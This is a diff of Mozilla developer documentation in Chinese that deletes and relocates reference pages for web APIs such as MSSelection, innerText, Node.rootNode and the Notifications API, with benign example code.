{{ SpecName('Media Capture','#widl-MediaStream-addTrack-void-MediaStreamTrack-track','addTrack()') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
{{ CompatUnknown() }} + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/msselection/index.html b/files/zh-cn/web/api/msselection/index.html deleted file mode 100644 index 5760848324..0000000000 --- a/files/zh-cn/web/api/msselection/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: MSSelection -slug: Web/API/MSSelection -tags: - - API - - DHTML - - DOM - - MSSelection ---- -
{{ ApiRef("DOM") }}{{Non-standard_Header}}
- -
-

IE Only

-该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
- -

MSSelection 对象表示用户选择的文本范围或插入光标(Caret)的当前位置,类似于标准定义的 {{domxref("Selection")}} 接口。它主要通过配套的 {{domxref("TextRange")}} 接口进行操作。

- -

该接口从IE4开始实现,但直到IE9时添加了对标准 Selection 接口的支持时,为了区分它才被命名为 MSSelection。可供修改和使用的 MSSelection 可通过 {{domxref("document.selection")}} 属性获取,但是这在IE11被彻底移除。

- -

注意,在非IE浏览器不支持该接口,可使用替代的标准 {{domxref("Selection")}} 接口。

- -

属性

- -
-
{{domxref("MSSelection.type")}}{{ReadOnlyInline}}
-
-

返回选中区域的类型。

-
-
- -

方法

- -
-
{{domxref("MSSelection.empty()")}}
-
取消当前选中区,将选中区类型设置为 none
-
{{domxref("MSSelection.clear()")}}
-
清除选中区的内容,将选中区类型设置为 none。注意,该方法可以删除不可编辑的元素。
-
{{domxref("MSSelection.createRange()")}}
-
在当前选中区上创建并返回一个 TextRange,其内容和当前选区一致。返回的区域在修改时不会直接作用到选区上,除非使用 {{domxref("TextRange.select()")}} 方法。
-
{{domxref("MSSelection.createRangeCollection()")}}
-
返回一个 {{domxref("TextRangeCollection")}},该集合包含选区中所有区域对应的 TextRange。注意该对象不是一个 {{jsxref("Array")}},且IE中的Web网页不支持多个选区,因此它总是返回单个对象的集合。
-
- -

示例

- -

以下示例在IE10以下有效。该示例通过 document.selection 获取 MSSelection 对象,并清空选区中的内容。

- -
var sel = document.selection;
-sel.clear();
- -

开发者笔记

- -

使用 TextRange 操作选中区域

- -
-

仅在IE9以下有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。

-
- -

{{domxref("document.selection")}} 属性返回一个 MSSelection 对象,selection.createRange() 方法创建一个和当前选中区域一致的 {{domxref("TextRange")}} 对象。

- -
var sel = document.selection;
-var range = sel.createRange();
-alert(range.text);
-// 输出被选区域的纯文本
- -

注意,createRange 方法并不创建引用,如果希望通过该方法修改选中区域,则需要调用 TextRange.select 方法。

- -

selection 兼容性

- -

document.selection 属性返回当前文档的 MSSelection 对象。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 Ctrl 选中多个区域;IE中一般也只允许文档只存在一个被选中的 TextRange

- -

然而,在其它浏览器中,document 并不存在一个所谓 selection 属性——它们通过标准 Selection API 实现对选区的操作,也就是通过 window.getSelection() 方法获取 {{domxref("Selection")}} 对象,并使用标准的 {{domxref("Range")}} 对象对文本片段作出处理。IE11及之后的版本也放弃了 document.selection 对象而转为使用标准接口(尽管 TextRange 一直保留,但大多数情况下它已失去作用)。

- -

这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 MSSelection 方式,但不要把该方式作为唯一的选择。

- -

浏览器兼容性

- - - - - - - - - - - - - - - - - - -
IE其它浏览器
{{domxref("MSSelection")}} {{non-standard_inline()}}≤10(IE9后应使用标准API)不支持(详见Selection API
- -

扩展

- - diff --git a/files/zh-cn/web/api/namelist/index.html b/files/zh-cn/web/api/namelist/index.html deleted file mode 100644 index 8506bc5266..0000000000 --- a/files/zh-cn/web/api/namelist/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: NameList -slug: Web/API/NameList -translation_of: Web/API/NameList ---- -

{{APIRef("DOM")}}{{ obsolete_header("10.0") }}

- -
-

Note: 虽然这个API曾经被用在 Gecko, 事实上它也是没有办法被创建的. NameList从 {{ Gecko("10.0") }}开始已经被废弃了。

-
- -

提供一个有序的键值对集合. 它可以通过下标0访问. 在DOM规范中没有指定这个集合是如何被应用的.

- -

属性

- -
-
{{domxref("NameList.length")}}{{readonlyInline}}
-
- -

方法

- -
-
{{domxref("NameList.contains()")}}
-
返回{{jsxref("Boolean")}}.
-
{{domxref("NameList.containsNS()")}}
-
返回 {{jsxref("Boolean")}}
-
{{domxref("NameList.getName()")}}
-
返回{{domxref("DOMString")}}
-
{{domxref("NameList.getNamespaceURI()")}}
-
返回 {{domxref("DOMString")}}
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/navigatorgeolocation/index.html b/files/zh-cn/web/api/navigatorgeolocation/index.html deleted file mode 100644 index f5432039ba..0000000000 --- a/files/zh-cn/web/api/navigatorgeolocation/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: NavigatorGeolocation -slug: Web/API/NavigatorGeolocation -translation_of: Web/API/Geolocation -translation_of_original: Web/API/NavigatorGeolocation ---- -

{{APIRef("Geolocation API")}}

- -

NavigatorGeolocation  contains a creation method allowing objects implementing it to obtain a {{domxref("Geolocation")}} instance.

- -

There is no object of type NavigatorGeolocation, but some interfaces, like {{domxref("Navigator")}} implements it.

- -

Properties

- -

The NavigatorGeolocation interface doesn't inherit any property.

- -
-
{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}
-
Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.
-
- -

Methods

- -

The NavigatorGeolocation interface neither implements, nor inherit any method.

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}{{Spec2('Geolocation')}}Initial specification.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
- Removed in 15.0
- Reintroduced in 16.0
5
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
-
- -

See also

- - - -

 

diff --git "a/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" "b/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" deleted file mode 100644 index 3f9c09d768..0000000000 --- "a/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: 测试滕盖 -slug: Web/API/NavigatorPlugins/测试滕盖 ---- -
{{ ApiRef("HTML DOM") }}
- -
 
- -

Summary

- -

Returns a {{domxref("MimeTypeArray")}} object, which contains a list of {{domxref("MimeType")}} objects representing the MIME types recognized by the browser.

- -

Syntax

- -
mimeTypes = navigator.mimeTypes;
-
- -

mimeTypes is a MimeTypeArray object which has a length property as well as item(index) and namedItem(name) methods.

- -

Example

- -
function isJavaPresent() {
-  return 'application/x-java-applet' in navigator.mimeTypes;
-}
-
-function getJavaPluginDescription() {
-  var mimetype = navigator.mimeTypes['application/x-java-applet'];
-  if (mimetype === undefined) {
-    // no Java plugin present
-    return undefined;
-  }
-  return mimetype.enabledPlugin.description;
-}
-
- -

Specification

- -

This is not part of any specification.

diff --git a/files/zh-cn/web/api/node/baseuriobject/index.html b/files/zh-cn/web/api/node/baseuriobject/index.html deleted file mode 100644 index ad04356656..0000000000 --- a/files/zh-cn/web/api/node/baseuriobject/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Node.baseURIObject -slug: Web/API/Node/baseURIObject -translation_of: Web/API/Node -translation_of_original: Web/API/Node/baseURIObject ---- -
- {{ApiRef}} {{Fx_minversion_header("3")}} {{Non-standard_header}}
-

概述

-

baseURIObject属性返回一个代表当前节点(通常是文档节点或元素节点)的基URL的{{Interface("nsIURI")}}对象.该属性类似与{{domxref("Node.baseURI")}},只是它返回的是一个包含更多信息的nsIURI对象,而不只是一个URL字符串.

-

该属性在所有类型的节点上都可用(HTML,XUL,SVG,MathML等),但脚本本身必须要有 UniversalXPConnect权限(XUL默认有这个权限,HTML没有).

-

查看{{domxref("Node.baseURI")}}了解基URL(base URL)是什么.

-

语法

-
uriObj = node.baseURIObject
-
-

附注

-

该属性只读,尝试为它赋值会抛出异常. 此外,这个属性只能从特权代码中访问.

-

规范

-

不属于任何规范,mozilla私有属性.

diff --git a/files/zh-cn/web/api/node/innertext/index.html b/files/zh-cn/web/api/node/innertext/index.html deleted file mode 100644 index 3062dda65f..0000000000 --- a/files/zh-cn/web/api/node/innertext/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: HTMLElement.innerText -slug: Web/API/Node/innerText -tags: - - API - - DOM - - HTMLElement - - Property - - Reference - - 参考 - - 属性 -translation_of: Web/API/HTMLElement/innerText ---- -
{{APIRef("DOM")}}
- -

innerText 属性表示一个节点及其后代的“渲染”文本内容。 As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.

- -
-

Note: innerText 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, innerText 可操作已被渲染的内容, 而 textContent 则不会.

-
- -

语法

- -
var renderedText = HTMLElement.innerText;
-HTMLElement.innerText = string;
- -

输出值

- -

一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 被渲染 (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.

- -

例子

- -

这个示例对比了 innerText 和 {{domxref("Node.textContent")}}. 这时 innerText 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.

- -

HTML

- -
<h3>Source element:</h3>
-<p id="source">
-  <style>#source { color: red; }</style>
-Take a look at<br>how this text<br>is interpreted
-       below.
-  <span style="display:none">HIDDEN TEXT</span>
-</p>
-<h3>Result of textContent:</h3>
-<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
-<h3>Result of innerText:</h3>
-<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
- -

JavaScript

- -
const source = document.getElementById('source');
-const textContentOutput = document.getElementById('textContentOutput');
-const innerTextOutput = document.getElementById('innerTextOutput');
-
-textContentOutput.innerHTML = source.textContent;
-innerTextOutput.innerHTML = source.innerText;
- -

结果

- -

{{EmbedLiveSample("Example", 700, 450)}}

- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
- -

浏览器兼容

- - - -

{{Compat("api.HTMLElement.innerText")}}

- -

此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商(vendor)采用后,它于 2016 年正式进入 HTML 标准。

- -

参见

- - diff --git a/files/zh-cn/web/api/node/nodeprincipal/index.html b/files/zh-cn/web/api/node/nodeprincipal/index.html deleted file mode 100644 index 58844aef2e..0000000000 --- a/files/zh-cn/web/api/node/nodeprincipal/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Node.nodePrincipal -slug: Web/API/Node/nodePrincipal -translation_of: Web/API/Node -translation_of_original: Web/API/Node/nodePrincipal ---- -
- {{APIRef}}{{Fx_minversion_header(3)}}{{Non-standard_header}} -

The Node.nodePrincipal read-only property returns the {{Interface("nsIPrincipal")}} object representing current security context of the node.

-

{{Note("This property exists on all nodes (HTML, XUL, SVG, MathML, etc.), but only if the script trying to use it has chrome privileges.")}}

-

Syntax

-
principalObj = element.nodePrincipal
-
-

Notes

-

This property is read-only; attempting to write to it will throw an exception. In addition, this property may only be accessed from privileged code.

-

Specification

-

Not in any specification.

-
-

 

diff --git a/files/zh-cn/web/api/node/outertext/index.html b/files/zh-cn/web/api/node/outertext/index.html deleted file mode 100644 index 01de770af7..0000000000 --- a/files/zh-cn/web/api/node/outertext/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Node.outerText -slug: Web/API/Node/outerText -tags: - - Node.outerText -translation_of: Web/API/HTMLElement/outerText -translation_of_original: Web/API/Node/outerText ---- -

请参阅 {{domxref("HTMLElement.outerText")}}

diff --git a/files/zh-cn/web/api/node/rootnode/index.html b/files/zh-cn/web/api/node/rootnode/index.html deleted file mode 100644 index 6291ef7fd6..0000000000 --- a/files/zh-cn/web/api/node/rootnode/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Node.rootNode -slug: Web/API/Node/rootNode -tags: - - API - - DOM - - Node - - Property - - Reference - - rootNode -translation_of: Web/API/Node/getRootNode -translation_of_original: Web/API/Node/rootNode ---- -

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

- -

Node.rootNode 是 {{domxref("Node")}} 的一个只读属性, 返回该节点所在 DOM 数的根节点(最高节点). 此属性是通过 {{domxref("Node.parentNode")}} 属性循环查找直到找到根节点.

- -
-

注意: 由于某种原因, 此属性已经被 {{domxref("Node.getRootNode()")}} 方法替代.

-
- -

语法

- -
rootNode = node.rootNode;
-
- -

 返回值

- -

返回 {{domxref("Node")}} 对象.

- -

样例

- -

下面是输出body的根节点样例:

- -
console.log(document.body.rootNode);
- -

参考

- -

Gecko内核的浏览器会在源代码中标签内部有空白符的地方插入一个文本结点到文档中.因此,使用诸如 - Node.firstChildNode.previousSibling 之类的方法可能会引用到一个空白符文本节点, - 而不是使用者所预期得到的节点.

- -

详情请参见 DOM 中的空白符 - 和W3C DOM 3 FAQ: 为什么一些文本节点是空的.

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}[1]{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}
-
- -

[1] 此属性已经废弃, 使用{{domxref("Node.getRootNode()")}} 方法替代.

- -

规范

- - - - - - - - - - - - - - - - -
规范样式备注
{{SpecName('DOM WHATWG', '#dom-node-rootnode', 'Node.rootNode')}}{{Spec2('DOM WHATWG')}}初始定义
diff --git a/files/zh-cn/web/api/notification/sound/index.html b/files/zh-cn/web/api/notification/sound/index.html deleted file mode 100644 index ffe90b4955..0000000000 --- a/files/zh-cn/web/api/notification/sound/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Notification.sound -slug: Web/API/notification/sound -translation_of: Web/API/notification/sound ---- -

{{APIRef("Web Notifications")}}

- -
-

Note: 这个属性并没有完全被一些浏览器支持.

-
- -

 sound 是 {{domxref("Notification")}}的只读属性,interface specifies the URL of an audio file to be played when the notification fires. This is specified in the sound option of the {{domxref("Notification.Notification","Notification()")}} constructor.

- -

Syntax

- -
var sound = Notification.sound;
-
- -

Value

- -

A {{domxref("USVString")}}.

- -

Examples

- -

The following snippet is intended to fire a sound along with the notification; a simple options object is created, then the notification is fired using the Notification() constructor.

- -
var options = {
-  body: 'Do you like my body?',
-  sound: 'audio/alert.mp3'
-}
-
-var n = new Notification('Test notification',options);
-
-n.sound // should return 'audio/alert.mp3'
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-sound','sound')}}{{Spec2('Web Notifications')}}Living standard
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo() }} -

{{ CompatNo() }}

-
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }} -

{{ CompatNo() }}

-
-
- -

Firefox OS notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

- -

Chrome notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

- -

Safari notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/notification/using_web_notifications/index.html b/files/zh-cn/web/api/notification/using_web_notifications/index.html deleted file mode 100644 index 40bbb3848b..0000000000 --- a/files/zh-cn/web/api/notification/using_web_notifications/index.html +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: 使用 Web Notifications -slug: Web/API/notification/Using_Web_Notifications -tags: - - Firefox OS - - Notifications - - Using the Notifications API - - 通知 -translation_of: Web/API/Notifications_API/Using_the_Notifications_API ---- -

{{APIRef("Web Notifications")}}

- -

Notifications API 允许网页或应用程序在系统级别发送在页面外部显示的通知;这样即使应用程序空闲或在后台,Web应用程序也会向用户发送信息。本文将介绍在您自己的应用程序中使用此API的基础知识。

- -

{{AvailableInWorkers}}

- -

通常,系统通知是指操作系统的标准通知机制,例如思考典型的桌面系统或移动设备如何发布通知。

- -

                             

- -

                        

- -

系统通知系统当然会因平台和浏览器而异,但无需担心,通知API被编写为通用的,足以与大多数系统通知系统兼容。

- -

Web Notifications API 使页面可以发出通知,通知将被显示在页面之外的系统层面上(通常使用操作系统的标准通知机制,但是在不同的平台和浏览器上的表现会有差异)。这个功能使  web 应用可以向用户发送信息,即使应用处于空闲状态。最明显的用例之一是一个网页版电子邮件应用程序,每当用户收到了一封新的电子邮件都需要通知用户,即使用户正在使用另一个应用程序。

- -

要显示一条通知,你需要先请求适当的权限,然后你可以实例化一个 {{domxref("Notification")}} 实例:

- -
Notification.requestPermission( function(status) {
-  console.log(status); // 仅当值为 "granted" 时显示通知
-  var n = new Notification("title", {body: "notification body"}); // 显示通知
-});
-
- -

请求权限

- -

在应用可以发送通知之前,用户必须授予应用有权这么做。这是一个常见的要求,当一个 API 至少一次试图与 web 页外部进行交互时,用户不得不专门授予该应用程序有权限提出通知,从而让用户控制允许哪些应用程序或网站显示通知。

- -

检查当前权限状态

- -

你可以通过检查只读属性 {{domxref("Notification.permission")}} 的值来查看你是否已经有权限。该属性的值将会是下列三个之一:

- -
-
default
-
用户还未被询问是否授权,所以通知不会被显示。参看 {{anch("Getting permission")}} 以了解如何请求显示通知的权限。
-
granted
-
表示之前已经询问过用户,并且用户已经授予了显示通知的权限。
-
denied
-
用户已经明确的拒绝了显示通知的权限。
-
- -
-

注:Safari 和 Chrome (在 32 版本之前) 还没有实现 permission 属性。

-
- -

获得权限

- -

如果权限尚未被授予,那么应用不得不通过 {{domxref("Notification.requestPermission()")}} 方法让用户进行选择。这个方法接受一个回调函数,一旦用户回应了显示通知的请求,将会调用这个函数。

- -

通常你应在你的应用首次初始化的时候请求显示通知的权限:

- -
window.addEventListener('load', function () {
-  Notification.requestPermission(function (status) {
-    // 这将使我们能在 Chrome/Safari 中使用 Notification.permission
-    if (Notification.permission !== status) {
-      Notification.permission = status;
-    }
-  });
-});
- -
-

注:Chrome 不允许你在 load 事件处理中调用 {{domxref("Notification.requestPermission()")}} (参见 issue 274284)。

-
- -

Notification API 的清单权限

- -

请注意 Notification API 不是 {{Glossary("privileged")}} 或 {{Glossary("certified")}},因此当你在一个开放 web 应用中使用它时,你仍需要在你的 manifest.webapp 文件中包含以下项目:

- -
"permissions": {
-  "desktop-notification": {
-    "description": "Needed for creating system notifications."
-  }
-}
- -
-

注:当安装应用程序时,你不需要通过上面的代码显式的请求权限,但您仍然需要在触发通知之前取得权限项。

-
- -

创建通知

- -

创建通知很简单,只需要用 {{domxref("Notification")}} 构造方法。这个构造函数需要一个用来显示在通知内的标题以及一些用来增强通知的选项,例如 {{domxref("Notification.icon","icon")}} 或文本 {{domxref("Notification.body","body")}}。

- -

一旦通知被创建出来,它会立即被显示出来。为了跟踪通知当前的状态,在 {{domxref("Notification")}} 实例层面上会有4个事件被触发:

- -
-
{{event("show")}}
-
当通知被显示给用户时触发。
-
{{event("click")}}
-
当用户点击通知时触发。
-
{{event("close")}}
-
当通知被关闭时触发。
-
{{event("error")}}
-
当通知发生错误的时候触发。这通常是因为通知由于某些原因而无法显示。
-
- -

这些事件可以通过事件处理跟踪 {{domxref("Notification.onshow","onshow")}}、{{domxref("Notification.onclick","onclick")}}、{{domxref("Notification.onclose","onclose")}} 和 {{domxref("Notification.onerror","onerror")}}。因为 {{domxref("Notification")}} 同样继承自 {{domxref("EventTarget")}},因此可以对它调用 {{domxref("EventTarget.addEventListener","addEventListener()")}} 方法。

- -
-

注:Firefox 和 Safari 会在一定时间后自动关闭通知(大约4秒)。这也会发生在操作系统层面。

- -

当然你也可以通过代码做到,调用 {{domxref("Notification.close()")}} 方法,就像下面的代码一样:

- -
var n = new Notification("Hi!");
-n.onshow = function () {
-  setTimeout(n.close.bind(n), 5000);
-}
-
- -

当你接收到一个“close”事件时,并不能保证这个通知是被用户关闭的。这是符合规范的,其中指出:“当一个通知被关闭时,通知的关闭动作都必须执行,不论是底层通知平台导致,还是用户导致。”

-
- -

简单的例子

- -

假定有如下的 HTML:

- -
<button>Notify me!</button>
- -

它可能通过这样的方式处理通知:

- -
window.addEventListener('load', function () {
-  // 首先,让我们检查我们是否有权限发出通知
-  // 如果没有,我们就请求获得权限
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // 如果用户同意就创建一个通知
-    if (window.Notification && Notification.permission === "granted") {
-      var n = new Notification("Hi!");
-    }
-
-    // 如果用户没有选择是否显示通知
-    // 注:因为在 Chrome 中我们无法确定 permission 属性是否有值,因此
-    // 检查该属性的值是否是 "default" 是不安全的。
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // 如果用户同意了
-        if (status === "granted") {
-          var n = new Notification("Hi!");
-        }
-
-        // 否则,我们可以让步的使用常规模态的 alert
-        else {
-          alert("Hi!");
-        }
-      });
-    }
-
-    // 如果用户拒绝接受通知
-    else {
-      // 我们可以让步的使用常规模态的 alert
-      alert("Hi!");
-    }
-  });
-});
- -

这是实际的结果:

- -

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

- -

处理重复的通知

- -

某些情况下对于用户来说,显示大量通知是件令人痛苦的事情。比如,如果一个即时通信应用向用户提示每一条传入的消息。为了避免数以百计的不必要通知铺满用户的桌面,可能需要接管一个挂起消息的队列。

- -

因此,需要为新建的通知添加一个标记。如果有一条通知也具有一个相同的标记,并且还没有被显示,那么这条新通知将会替换上一条通知。如果有一条通知具有一个相同的标记,并且已经显示出来了,那么上一条通知将会被关闭,新通知将会被显示出来。

- -

使用标记的例子

- -

假定有如下 HTML:

- -
<button>Notify me!</button>
- -

它有可能通过这种方式处理的多个通知:

- -
window.addEventListener('load', function () {
-  // 首先,我们检查是否具有权限显示通知
-  // 如果没有,我们就申请权限
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // 如果用户同意接收通知,我们就尝试发送10条通知
-    if (window.Notification && Notification.permission === "granted") {
-      for (var i = 0; i < 10; i++) {
-        // 感谢标记,我们应该只看到内容为 "Hi! 9" 的通知
-        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-      }
-    }
-
-    // 如果用户没有选择是否同意显示通知
-    // 注:由于在 Chrome 中不能确定 permission 属性是否有值,因此检查
-    // 该属性值是否为 "default" 是不安全的。
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // 如果用户同意
-        if (status === "granted") {
-          for (var i = 0; i < 10; i++) {
-            // Thanks to the tag, we should only see the "Hi! 9" notification
-            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-          }
-        }
-
-        // 否则改用 alert
-        else {
-          alert("Hi!");
-        }
-      });
-    }
-
-    // 如果用户拒绝
-    else {
-      // 改用 alert
-      alert("Hi!");
-    }
-  });
-});
- -

实际效果如下:

- -

{{ EmbedLiveSample('.E5.A4.84.E7.90.86.E9.87.8D.E5.A4.8D.E7.9A.84.E9.80.9A.E7.9F.A5', '100%', 30) }}

- -

接收点击应用通知的通知

- -

当用户点击一个由应用产生的通知时,视情况而定,你将会有两种方式被告知点击事件发生了:

- -
    -
  1. 如果你的程序没有被关闭或转入后台,那么在你会收到一个点击事件。
  2. -
  3. 其他情况下会收到一条系统消息。
  4. -
- -

参考 这个代码片段 作为例子,展示了如何处理。

- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
- -

浏览器兼容性

- -

{{page("/zh-CN/Web/API/Notification",".E6.B5.8F.E8.A7.88.E5.99.A8.E5.85.BC.E5.AE.B9.E6.80.A7")}}

- -

参考

- - diff --git a/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html new file mode 100644 index 0000000000..40bbb3848b --- /dev/null +++ b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html @@ -0,0 +1,292 @@ +--- +title: 使用 Web Notifications +slug: Web/API/notification/Using_Web_Notifications +tags: + - Firefox OS + - Notifications + - Using the Notifications API + - 通知 +translation_of: Web/API/Notifications_API/Using_the_Notifications_API +--- +

{{APIRef("Web Notifications")}}

+ +

Notifications API 允许网页或应用程序在系统级别发送在页面外部显示的通知;这样即使应用程序空闲或在后台,Web应用程序也会向用户发送信息。本文将介绍在您自己的应用程序中使用此API的基础知识。

+ +

{{AvailableInWorkers}}

+ +

通常,系统通知是指操作系统的标准通知机制,例如思考典型的桌面系统或移动设备如何发布通知。

+ +

                             

+ +

                        

+ +

系统通知系统当然会因平台和浏览器而异,但无需担心,通知API被编写为通用的,足以与大多数系统通知系统兼容。

+ +

Web Notifications API 使页面可以发出通知,通知将被显示在页面之外的系统层面上(通常使用操作系统的标准通知机制,但是在不同的平台和浏览器上的表现会有差异)。这个功能使  web 应用可以向用户发送信息,即使应用处于空闲状态。最明显的用例之一是一个网页版电子邮件应用程序,每当用户收到了一封新的电子邮件都需要通知用户,即使用户正在使用另一个应用程序。

+ +

要显示一条通知,你需要先请求适当的权限,然后你可以实例化一个 {{domxref("Notification")}} 实例:

+ +
Notification.requestPermission( function(status) {
+  console.log(status); // 仅当值为 "granted" 时显示通知
+  var n = new Notification("title", {body: "notification body"}); // 显示通知
+});
+
+ +

请求权限

+ +

在应用可以发送通知之前,用户必须授予应用有权这么做。这是一个常见的要求,当一个 API 至少一次试图与 web 页外部进行交互时,用户不得不专门授予该应用程序有权限提出通知,从而让用户控制允许哪些应用程序或网站显示通知。

+ +

检查当前权限状态

+ +

你可以通过检查只读属性 {{domxref("Notification.permission")}} 的值来查看你是否已经有权限。该属性的值将会是下列三个之一:

+ +
+
default
+
用户还未被询问是否授权,所以通知不会被显示。参看 {{anch("Getting permission")}} 以了解如何请求显示通知的权限。
+
granted
+
表示之前已经询问过用户,并且用户已经授予了显示通知的权限。
+
denied
+
用户已经明确的拒绝了显示通知的权限。
+
+ +
+

注:Safari 和 Chrome (在 32 版本之前) 还没有实现 permission 属性。

+
+ +

获得权限

+ +

